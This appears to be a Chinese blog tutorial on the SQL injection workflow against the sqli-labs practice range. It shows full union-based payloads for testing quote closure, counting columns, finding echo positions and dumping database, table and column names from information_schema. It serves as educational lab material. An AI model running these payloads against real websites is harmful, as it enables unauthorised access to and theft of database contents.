Sql注入流程

  • Post author:
  • Post category:其他


Sql注入本质是把用户输入都数据当做代码来执行,最终达到欺骗服务器执行恶意的SQL命令。



标题Sql注入的流程:



1、寻找注入点

常见的注入点:网站的用户登录界面,搜索框等

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



2、判断闭合方式(以sqli-labs靶场的第一、二关为例)

第一关:

在这里插入图片描述

在这里插入图片描述

可以发现:第一关输入id=1和输入id=1sdgfgkdg显示的内容相同且不报错。

所以:第一关属于字符型,需要判断闭合方式。

判断方法:观察报错信息,去掉两边的分号和输入内容,右边的内容就是其闭合的方式。

在这里插入图片描述

通过观察图中报错信息可以知道闭合方式为’

即单引号闭合

第二关:

在这里插入图片描述

在这里插入图片描述

可以发现第二关报错

所以,第二关属于数字型,不需要判断闭合方式。



3、验证漏洞

?id = 1 and 1 –+ 正常显示

?id = 1 and 0 –+ 无显示

在这里插入图片描述

在这里插入图片描述

可以通过sql命令来控制页面显示。



4、判断列数及回显位

列数:

?id = 1 order by 3 –+

若3正常显示且4报错,则证明列数为3

在这里插入图片描述

在这里插入图片描述

回显位:

?id=-1 union select 1,2,3 –+

在这里插入图片描述

可以看到回显位为2、3



5、取数据

A、查数据库名

在2或3的位置加上database(),得到数据库名为:security

在这里插入图片描述

B、查表名

在2或3的位置加上 (select group_concat(table_name) from information_schema.tables where table_schema=database()) 查看数据库下所有的表名。

在这里插入图片描述

C、查列名

在2的位置加上 (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’emails’) 查看emails表下所有的列。

在这里插入图片描述



注意中英文单引号引发的报错:

在这里插入图片描述



版权声明:本文为weixin_45837672原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。